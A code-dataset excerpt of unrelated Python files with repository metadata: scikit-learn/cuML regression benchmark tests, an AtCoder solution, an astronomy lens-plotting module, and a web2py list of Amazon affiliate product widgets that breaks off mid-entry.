data["data"]["X_train"] y_train = data["data"]["y_train"] lr = m.LinearRegression(**kwargs) lr.fit(X_train, y_train) run_benchmark( benchmark, m, compute_func, load_mortgage, { "module": module, "shape": shape, "data": data, "train_split": 0.8, "label_col": 4, }, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["large"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_Ridge(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.linear_model") else: m = importlib.import_module("cuml") def compute_func(data): kwargs = {"fit_intercept": False, "normalize": True, "alpha": 0.1} if data["module"] == "cuml": kwargs["solver"] = "svd" X_train = data["data"]["X_train"] y_train = data["data"]["y_train"] ridge = m.Ridge(**kwargs) ridge.fit(X_train, y_train) run_benchmark( benchmark, m, compute_func, load_mortgage, { "module": module, "shape": shape, "data": data, "train_split": 0.8, "label_col": 4, }, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["large"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_Lasso(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.linear_model") else: m = importlib.import_module("cuml") def compute_func(data): kwargs = { "alpha": np.array([0.001]), "fit_intercept": True, "normalize": False, "max_iter": 1000, "selection": "cyclic", "tol": 1e-10, } X_train = data["data"]["X_train"] y_train = data["data"]["y_train"] lasso = m.Lasso(**kwargs) lasso.fit(X_train, y_train) run_benchmark( benchmark, m, compute_func, load_mortgage, { "module": module, "shape": shape, "data": data, "train_split": 0.8, "label_col": 4, }, ) @pytest.mark.parametrize("module", ["sklearn", "cuml"]) @pytest.mark.parametrize("shape", _shapes["large"]) @pytest.mark.parametrize("data", ["data/mortgage.npy.gz"]) def test_ElasticNet(benchmark, module, shape, data): if module == "sklearn": m = importlib.import_module("sklearn.linear_model") else: m = importlib.import_module("cuml") def compute_func(data): kwargs = { "alpha": np.array([0.001]), "fit_intercept": True, "normalize": False, "max_iter": 1000, "selection": "cyclic", "tol": 1e-10, } X_train = data["data"]["X_train"] y_train = data["data"]["y_train"] lasso = m.Lasso(**kwargs) lasso.fit(X_train, y_train) run_benchmark( benchmark, m, compute_func, load_mortgage, { "module": module, "shape": shape, "data": data, "train_split": 0.8, "label_col": 4, }, )

26.841727

82

0.54132

0

8,530

0.762083

0

2,476

0.22121

cdc72216af29eaceb6c114484063fc2831f99596

420

py

Python

ABC127C/resolve.py

staguchi0703/problems_easy

82804b99b3ce8104762c3f6f5cc60b009a17bdc8

[ "MIT" ]

null

ABC127C/resolve.py

staguchi0703/problems_easy

82804b99b3ce8104762c3f6f5cc60b009a17bdc8

[ "MIT" ]

null

ABC127C/resolve.py

staguchi0703/problems_easy

82804b99b3ce8104762c3f6f5cc60b009a17bdc8

[ "MIT" ]

null

def resolve(): ''' code here ''' N , M = [int(item) for item in input().split()] LRs = [[int(item) for item in input().split()] for _ in range(M)] L_max = 0 R_min = N for L, R in LRs: L_max = max(L_max, L) R_min = min(R_min, R) delta = R_min - L_max if delta >= 0: print(delta + 1) else: print(0) if __name__ == "__main__": resolve()

16.8

69

0.490476

0

35

0.083333

cdc9ffbc19062cc077e25fb215d33c0447db75e0

7,109

py

Python

om10/plotting.py

drphilmarshall/OM10

009c16f0ef4e1c5f8f78c78df3c7711b7be24938

[ "MIT" ]

5

2017-02-17T19:43:54.000Z

2021-05-19T09:30:53.000Z

om10/plotting.py

drphilmarshall/OM10

009c16f0ef4e1c5f8f78c78df3c7711b7be24938

[ "MIT" ]

55

2015-02-06T19:25:58.000Z

2021-03-09T07:57:04.000Z

om10/plotting.py

drphilmarshall/OM10

009c16f0ef4e1c5f8f78c78df3c7711b7be24938

[ "MIT" ]

16

2015-01-29T23:55:45.000Z

2021-04-16T03:06:38.000Z

# ====================================================================== # Globally useful modules, imported here and then accessible by all # functions in this file: from __future__ import print_function # Fonts, latex: import matplotlib matplotlib.rc('font',**{'family':'serif', 'serif':['TimesNewRoman']}) matplotlib.rc('text', usetex=True) import corner import pylab, sys, numpy as np # ====================================================================== def plot_sample(sample, saveImg=False, fig=None, color='black', parameters=('MAGI','IMSEP','VELDISP','ZLENS','ZSRC')): """ Given an OM10 sample, make a corner plot of the required quantities. Parameters ---------- parameters : str, tuple Names of the lens parameters to plot saveImg : bool If true, save image with standardized name. IQ : float Image quality, for reference. fig : matplotlib figure object Overlay plot on an existing figure Returns ------- fig : matplotlib figure object New or updated figure """ features, labels = extract_features(sample, parameters) if fig is None: fig = corner.corner(features, labels=labels, color=color, smooth=1.0) else: _ = corner.corner(features, labels=labels, color=color, smooth=1.0, fig=fig) for ax in fig.axes: for item in ([ax.xaxis.label, ax.yaxis.label]): item.set_fontsize(20) for item in (ax.get_xticklabels() + ax.get_yticklabels()): item.set_fontsize(16) if saveImg: pngfile = "om10_sample.png" pylab.savefig(pngfile) print("OM10: Sample plot saved to file:", pngfile) return fig # ====================================================================== def extract_features(x, names): """ Given an OM10 table of lenses, extract the required parameters and provide labels for them. Parameters ---------- x : Table OM10 lens sample. names : str, tuple Names of features required. Returns ------- features : float, ndarray Values of requested features, for each lens in the Table labels : str, list Corresponding axis labels """ features = np.array([]) labels = [] p = len(names) n = len(x) for name in names: features = np.append(features, x[name]) labels.append(axis_labels[name]) return features.reshape(p,n).transpose(), labels # ====================================================================== def plot_lens(lens, saveImg=False, IQ=0.7): """ Given an OM10 lens, compute some basic quantities and use them to plot a cartoon visualization of the lens. Parameters ---------- saveImg : bool If true, save image with standardized name. IQ : float Image quality, for reference. """ # # Force matplotlib to not use any Xwindows backend: # if saveImg: # try: matplotlib.use('Agg') # except: pass # else: # try: matplotlib.use('TkAgg') # except: pass # Pull out data for ease of use: id = lens['LENSID'][0] xi = lens['XIMG'][0] yi = lens['YIMG'][0] nim = lens['NIMG'][0] mui = lens['MAG'][0] md = lens['APMAG_I'][0] ms = lens['MAGI_IN'][0] xs = lens['XSRC'][0] ys = lens['YSRC'][0] xd = 0.0 yd = 0.0 zd = lens['ZLENS'][0] zs = lens['ZSRC'][0] q = 1.0 - lens['ELLIP'][0] phi = lens['PHIE'][0] print("OM10: Plotting image configuration of lens ID ",id) # Compute image magnitudes: mi = np.zeros(nim) lfi = np.zeros(nim) for i in range(nim): mi[i] = ms - 2.5*np.log10(np.abs(mui[i])) lfi[i] = 0.4*(24-mi[i]) print("OM10: lens, image magnitudes:",md,mi) lfd = 0.4*(24-md) # print("om10.plot_lens: lens, image log fluxes:",lfd,lfi) # ------------------------------------------------------------------ # Compute caustics and critical curves: # ------------------------------------------------------------------ # Start figure: fig = pylab.figure(figsize=(8,8)) # ,aspect='equal') # Axes limits, useful sizes: xmax = 1.99 dm = 1.0/10 # Plot command sets its own axes. 'bp' = blue pentagons # pylab.plot(xi, yi, 'bp') pylab.plot(xi, yi, color='blue', \ marker='+', markersize=10, markeredgewidth=2, \ linestyle='') pylab.plot(xs, ys, color='lightblue', \ marker='+', markersize=10, markeredgewidth=2, \ linestyle='') pylab.plot(xd, yd, color='orange', \ marker='+', markersize=10, markeredgewidth=2, \ linestyle='') # Ellipse to represent lens brightness: ell = matplotlib.patches.Ellipse((xd,yd), width=2*dm*lfd, height=2*q*dm*lfd, angle=phi, alpha=0.2, fc='orange') pylab.gca().add_patch(ell) # Circles to represent image brightness: for i in range(nim): cir = pylab.Circle((xi[i],yi[i]), radius=dm*lfi[i], alpha=0.2, fc='blue') pylab.gca().add_patch(cir) # Circle to represent seeing: cir = pylab.Circle((1.5,-1.5), radius=IQ/2.0, alpha=0.1, fc='grey') pylab.gca().add_patch(cir) text = '{:3.1f}" seeing'.format(IQ) pylab.annotate(text, (370,5), xytext=None, fontsize=14, \ xycoords='axes points',textcoords='axes points') # Legend giving lens, source redshift: text1 = "$z_d$ = %5.2f" % zd text2 = "$z_s$ = %5.2f" % zs pylab.annotate(text1, (10,430), xytext=None, fontsize=14, \ xycoords='axes points',textcoords='axes points') pylab.annotate(text2, (10,410), xytext=None, fontsize=14, \ xycoords='axes points',textcoords='axes points') # Plot title: title = "OM10 lensed QSO, ID="+str(id) pylab.title(title,fontsize=20) # Set axes labels: pylab.xlabel("x / arcsec",fontsize=20) pylab.ylabel("y / arcsec",fontsize=20) # Set axis limits: pylab.axis([-xmax,xmax,-xmax,xmax]) # Add a grid: pylab.grid(color='grey', linestyle='--', linewidth=0.5) # Plot graph to file: if saveImg: pngfile = "om10_qso_ID="+str(id)+".png" pylab.savefig(pngfile) print("OM10: Lens plot saved to file:",pngfile) # ====================================================================== axis_labels = {} axis_labels['ZLENS'] = '$z_{\\rm d}$' axis_labels['VELDISP'] = '$\sigma_{\\rm d}$ / km/s' axis_labels['ELLIP'] = '$\epsilon_{\\rm d}$' axis_labels['PHIE'] = '$\phi_{\\rm d}$ / km/s' axis_labels['GAMMA'] = '$\gamma$' axis_labels['PHIG'] = '$\phi_{\gamma}$' axis_labels['ZSRC'] = '$z_{\\rm s}$' axis_labels['MAGI'] = '$i_3$' axis_labels['MAGI_IN'] = '$i_{\\rm s}$' axis_labels['IMSEP'] = '$\Delta \\theta$ / arcsec' axis_labels['i_SDSS_lens'] = '$i_{\\rm d}$ (AB mag)' axis_labels['i_SDSS_quasar'] = '$i_{\\rm s}$ (AB mag)' axis_labels['ug'] = '$u-g$ color' axis_labels['gr'] = '$g-r$ color' axis_labels['ri'] = '$r-i$ color' axis_labels['iz'] = '$i-z$ color' axis_labels['ug'] = '$u-g$ color'

30.251064

115

0.549163

0

3,489

0.490786

cdcae84167fb352d7727b5d25c865135e36f6d5e

25,254

py

Python

applications/EsteEuQuero/models/produto.py

vgcarvpro/vgcarvpro

16d720cb49f02e4f859c27901360b34681e986c0

[ "BSD-3-Clause" ]

null

applications/EsteEuQuero/models/produto.py

vgcarvpro/vgcarvpro

16d720cb49f02e4f859c27901360b34681e986c0

[ "BSD-3-Clause" ]

null

applications/EsteEuQuero/models/produto.py

vgcarvpro/vgcarvpro

16d720cb49f02e4f859c27901360b34681e986c0

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- def produtos(): prod = [["Rack de Teto Uno 2010 2011 2012 2013 2014 2015 a 2020 Preto", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=qf_sp_asin_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YN8SCNQ&asins=B07YN8SCNQ&linkId=34c49f7cad089ab50501bec4ef1ba73d&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Rack de Teto Uno 1984 1985 1986 1987 1988 1989 a 2013 Preto", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=qf_sp_asin_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YN8GC65&asins=B07YN8GC65&linkId=bc9faaa23de411cc3b993d88665e5789&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Console PlayStation 4 Pro 4K 1TB - Edição Fortnite - PlayStation 4 (Versão Nacional)",'<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07Z6TBZB8&asins=B07Z6TBZB8&linkId=be458f38f2328c80cb1274652c578c8d&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "consoles" ], ["Console PlayStation®5", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B088GNRX3J&asins=B088GNRX3J&linkId=efae8896bbf7f8da6c1aad08c3ab276c&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>',"consoles"], ["HyperX ChargePlay Duo - Carregador Duplo para Controle de PS4, HyperX, Preto/Cinza",'<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07LGN8SCG&asins=B07LGN8SCG&linkId=ea42fc53d108753eb08e89eb3b18c871&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>',"consoles" ], ["Controle DualSense - PlayStation 5", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B088GNW267&asins=B088GNW267&linkId=80d3ac67d0d30ad5da6aac1c13e2e621&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>',"consoles"], ["Controle Dualshock 4 - PlayStation 4 - Camuflado", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07QKGCYCQ&asins=B07QKGCYCQ&linkId=6aaa982b76d5f442870d9403c6584db6&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>',"consoles" ], ["Controle de Mídia - PlayStation 5", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B08CWL62PL&asins=B08CWL62PL&linkId=aed29d1bf4b31ee03d405a1eba7f3a45&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>',"consoles"], ["Câmera HD - PlayStation 5", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B08CWHVZJ4&asins=B08CWHVZJ4&linkId=5a4363962def720e113160526c328c60&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>',"consoles" ], ["Multimidia Mp5 RS-505MP5 Com Câmera De Ré RS-121BR E Sensor De Estacionamento RS-104BR PRETO FOSCO", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B084XCCJNR&asins=B084XCCJNR&linkId=28f184b7039f64425de34cf824c10057&show_border=true&link_opens_in_new_window=false&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>' ,"consoles"], ["Carregador Bateria 12v 10ah Carro Moto Flutuante Cf10", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B083ZJ1S2L&asins=B083ZJ1S2L&linkId=6163a1d72b81519d03b3b1b89d379158&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Doctor Shine Revitalizador de Plásticos 500ml Cadillac", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07Y5LLWRH&asins=B07Y5LLWRH&linkId=9abc58fb6c99c067cd013445d7289311&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Central multimídia Mp5 2Din TV/USB/SD/AUX/BT Espelhamento Android e IOS H-tech HT-3220TV", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B08B447ZK2&asins=B08B447ZK2&linkId=9b5e385e0690c4d99a18cbaddd435647&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["SSD A400, Kingston, SA400S37/240G, Cinza", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B01N5IB20Q&asins=B01N5IB20Q&linkId=9e38bf171a9c4da3d5c51ba38795a2bc&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "informatica"], ["HD SSD Kingston SA400S37 480GB", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B075BKXSCQ&asins=B075BKXSCQ&linkId=2dbddb6517fd79e479deaf77f6ea75ad&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "informatica"], ["SA400S37120G - SSD de 120GB Série A400 2,5 Sata III", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B01N6JQS8C&asins=B01N6JQS8C&linkId=28d62e33f5f79e0d2a583a5477143b09&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "informatica"], ["SSD Desktop Notebook SATA ADATA ASU630SS-960GQ-R SU630 960GB 2.5 SATA III", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07KQXKK12&asins=B07KQXKK12&linkId=a44675fef616674decca14e99b3595f0&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "informatica"], ["Injeção Eletrônica Programável FT450 - com Chicote 3m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNPH1Z5&asins=B07YNPH1Z5&linkId=1a35048d718fb05776eb6a2b3fcce590&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Injeção Eletrônica Programável FT350 - com Chicote 3m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNPYP1S&asins=B07YNPYP1S&linkId=01bf12a8e0d9d58d7521226708c94457&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Injeção Eletrônica Programável FT550 - Com Chicote 3m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07ZWHXCFL&asins=B07ZWHXCFL&linkId=f45ed1df394c592cdf5af122ad04dfff&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Injeção Eletrônica Programável FT600 SFI - Sem Chicote", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07ZWD5SSP&asins=B07ZWD5SSP&linkId=fb1d67279809593c7f6fe2cc87e774e9&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Injeção Eletrônica Programável FT500LITE SFI - Sem Chicote", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07ZZKRG9Y&asins=B07ZZKRG9Y&linkId=de11c3a8cfc5eeaac8a7764790a1e08c&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Wide Band O2 Datalogger - LSU 4.2 - Lambda/com Chicote 2m Fueltech", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNP9X7Y&asins=B07YNP9X7Y&linkId=b4ecfe37f1619e7dbb27628fdaaf465d&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["SparkPRO-8 / com Chicote 2m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNNWRG2&asins=B07YNNWRG2&linkId=6562ae45153f506125539da5db2a1c88&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["SparkPRO-6 / com Chicote de 2m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNP8PZY&asins=B07YNP8PZY&linkId=e5a699a49050cb41ea609aa2da3c7b9c&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["SparkPRO-4 / com chicote de 2m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNP9W2F&asins=B07YNP9W2F&linkId=3761746cc169a8fbc77f3dc03ff038be&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["SparkPRO-2 / com Chicote de 2m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNP28WB&asins=B07YNP28WB&linkId=ad5e56fbd4512989a14b8e027e563078&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Digital Air Fuel Meter", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNPG5VJ&asins=B07YNPG5VJ&linkId=51856d246ec0c66ae6e44cc19eb04622&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Wide Band O2 Meter Nano/Com chicote de 2m", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNPBHQ8&asins=B07YNPBHQ8&linkId=6f5bf549a5debfd2e0c5c76701de9616&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Clamper - Br / 2M", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B07YNPMYCG&asins=B07YNPMYCG&linkId=9920e774c7bb1a8380a1f90ef2979fee&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Turbina Upgrade (400cv) Jetta Fusca 211cv Ea888 3a Geração", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B0888SGZ4D&asins=B0888SGZ4D&linkId=c7f08d7ec0a82f64a790b8a7708a5e92&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["CONJ CENTRAL TURBINA - AUDI Q5 2.0 TSI EA888-200/211CV", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=BR&source=ac&ref=tf_til&ad_type=product_link&tracking_id=esteeuquero-20&marketplace=amazon&region=BR&placement=B083JKT1BH&asins=B083JKT1BH&linkId=4035edc7c5054dbb65e6f48f5009c7ac&show_border=false&link_opens_in_new_window=true&price_color=333333&title_color=0066c0&bg_color=ffffff"> </iframe>', "automotivo"], ["Echo Dot (3ª Geração): Smart Speaker com Alexa - Cor Preta", '<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" 